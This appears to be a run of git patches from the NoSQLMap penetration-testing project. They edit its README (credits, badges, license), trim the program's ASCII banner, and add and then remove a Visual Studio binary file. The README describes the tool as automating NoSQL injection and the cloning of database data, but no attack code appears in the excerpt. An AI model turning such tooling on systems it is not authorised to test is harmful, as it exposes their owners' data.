11:25:55 +1000 Subject: [PATCH 21/68] Update README.md --- README.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 607eafe..fda6aef 100644 --- a/README.md +++ b/README.md @@ -3,6 +3,8 @@ NoSQLMap NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database. +Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). + ## NoSQLMap MongoDB Management Attack Demo. NoSQLMap MongoDB Management Attack Demo @@ -10,8 +12,7 @@ NoSQLMap is an open source Python tool designed to audit for as well as automate ## Screenshots ![NoSQLMap](https://github.com/codingo/NoSQLMap/blob/master/screenshots/NoSQLMap-v0-5.jpg) -## About / Credits -Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). + # Summary ## What is NoSQL? From 564d31762b2d2f56d5acaa78566b983ec87c1a0e Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 11:28:58 +1000 Subject: [PATCH 22/68] Update README.md --- README.md | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/README.md b/README.md index fda6aef..488852c 100644 --- a/README.md +++ b/README.md @@ -12,14 +12,12 @@ Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now mai ## Screenshots ![NoSQLMap](https://github.com/codingo/NoSQLMap/blob/master/screenshots/NoSQLMap-v0-5.jpg) - - # Summary ## What is NoSQL? A NoSQL (originally referring to "non SQL", "non relational" or "not only SQL") database provides a mechanism for storage and retrieval of data which is modeled in means other than the tabular relations used in relational databases. Such databases have existed since the late 1960s, but did not obtain the "NoSQL" moniker until a surge of popularity in the early twenty-first century, triggered by the needs of Web 2.0 companies such as Facebook, Google, and Amazon.com. NoSQL databases are increasingly used in big data and real-time web applications. NoSQL systems are also sometimes called "Not only SQL" to emphasize that they may support SQL-like query languages. ## DBMS Support -Presently the tool's exploits are focused around MongoDB, and CouchDB but additional support for other NoSQL based platforms such as CouchDB, Redis, and Cassandra are planned in future releases. +Presently the tool's exploits are focused around MongoDB, and CouchDB but additional support for other NoSQL based platforms such as Redis, and Cassandra are planned in future releases. ## Requirements On a Debian or Red Hat based system, the setup.sh script may be run as root to automate the installation of NoSQLMap's dependencies. From 1840b669fd99e23938e6d5572511614d7edaa809 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 11:36:17 +1000 Subject: [PATCH 23/68] Update README.md --- README.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/README.md b/README.md index 488852c..719c61a 100644 --- a/README.md +++ b/README.md @@ -1,10 +1,9 @@ NoSQLMap ======== - NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database. Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). - +[Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPL3-_red.svg) [![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_) ## NoSQLMap MongoDB Management Attack Demo. NoSQLMap MongoDB Management Attack Demo From f353e10de7467e37ab4625442b00b4cfaf092822 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 11:36:53 +1000 Subject: [PATCH 24/68] Update README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 719c61a..ba9d8b9 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,8 @@ NoSQLMap NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database. Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). -[Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPL3-_red.svg) [![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_) + +[![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPL3-_red.svg) [![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_) ## NoSQLMap MongoDB Management Attack Demo. NoSQLMap MongoDB Management Attack Demo From 0d4073fbf857e2ddd8276ef5b53978c4c2b250a6 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 11:38:12 +1000 Subject: [PATCH 25/68] Update README.md --- README.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index ba9d8b9..bd931b5 100644 --- a/README.md +++ b/README.md @@ -1,10 +1,12 @@ NoSQLMap ======== +[![Python 2.6|2.7(https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPL3-_red.svg) [![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_) + NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database. Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). -[![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPL3-_red.svg) [![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_) + ## NoSQLMap MongoDB Management Attack Demo. NoSQLMap MongoDB Management Attack Demo From b97671bdf215d269f0c095182d2ef350156434ac Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 11:38:27 +1000 Subject: [PATCH 26/68] Update README.md --- README.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/README.md b/README.md index bd931b5..f53f6a6 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,6 @@ NoSQLMap ======== -[![Python 2.6|2.7(https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPL3-_red.svg) [![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_) - +[![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPL3-_red.svg) [![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_) NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database. Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). From ce68212e90b2ae6d3f4a866d6458303c3ad90291 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 11:40:15 +1000 Subject: [PATCH 27/68] Update README.md --- README.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index f53f6a6..5db974f 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,9 @@ NoSQLMap ======== -[![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPL3-_red.svg) [![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_) +[![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) +[![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://github.com/codingo/NoSQLMap/blob/master/COPYING) +[![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_) + NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database. Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). From 53789fd78f1d8ebea5d2dce0253f25540cc8a678 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 13:54:13 +1000 Subject: [PATCH 28/68] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 5db974f..c3c5174 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,7 @@ NoSQLMap ======== [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) -[![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://github.com/codingo/NoSQLMap/blob/master/COPYING) +[![License](https://img.shields.io/badge/license-GPLv3-red.svg)](https://github.com/codingo/NoSQLMap/blob/master/COPYING) [![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_) NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database. From 61574751c333e4782a62d0e610f8f427624accc0 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 15:41:46 +1000 Subject: [PATCH 29/68] Minimalising banner --- nosqlmap.py | 15 +++++---------- 1 file changed, 5 insertions(+), 10 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 510141f..1885ab8 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -55,16 +55,11 @@ def mainMenu(): mmSelect = True while mmSelect: os.system('clear') - print "====================================================" - print " _ _ _____ _____ _ ___ ___ " - print "| \ | | / ___|| _ | | | \/ | " - print "| \| | ___ \ `--. | | | | | | . . | __ _ _ __ " - print "| . ` |/ _ \ `--. \| | | | | | |\/| |/ _` | '_ \ " - print "| |\ | (_) /\__/ /\ \/' / |____| | | | (_| | |_) |" - print "\_| \_/\___/\____/ \_/\_\_____/\_| |_/\__,_| .__/" - print "====================================================" - print "NoSQLMap-v0.7" - print "codingo@protonmail.com" +  print " _ _ ___ ___ _ __ __           " +  print "| \| |___/ __|/ _ \| | | \/ |__ _ _ __ " +  print "| .` / _ \__ \ (_) | |__| |\/| / _` | '_ \" +  print "|_|\_\___/___/\__\_\____|_| |_\__,_| .__/" +  print " v0.7 codingo@protonmail.com      |_|   " print "\n" print "1-Set options" print "2-NoSQL DB Access Attacks" From 43e44d02c02ad1049dbf8fafc3355e924192d4a2 Mon Sep 17 00:00:00 2001 From: Michael Skelton Date: Thu, 14 Sep 2017 14:59:50 +1000 Subject: [PATCH 30/68] Update .gitignore --- .gitignore | 1 + .vs/slnx.sqlite | Bin 0 -> 73728 bytes 2 files changed, 1 insertion(+) create mode 100644 .vs/slnx.sqlite diff --git a/.gitignore b/.gitignore index 5f6726b..445bc6e 100644 --- a/.gitignore +++ b/.gitignore @@ -222,3 +222,4 @@ pip-log.txt *.iml *.pyproj *.sln +/.vs/ProjectSettings.json diff --git a/.vs/slnx.sqlite b/.vs/slnx.sqlite new file mode 100644 index 0000000000000000000000000000000000000000..60f908661cb579829481c1dd9fddc6ccbfd91b9f GIT binary patch literal 73728 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 Date: Thu, 14 Sep 2017 15:02:03 +1000 Subject: [PATCH 31/68] Delete slnx.sqlite --- .vs/slnx.sqlite | Bin 73728 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 .vs/slnx.sqlite diff --git a/.vs/slnx.sqlite b/.vs/slnx.sqlite deleted file mode 100644 index 60f908661cb579829481c1dd9fddc6ccbfd91b9f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 73728 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 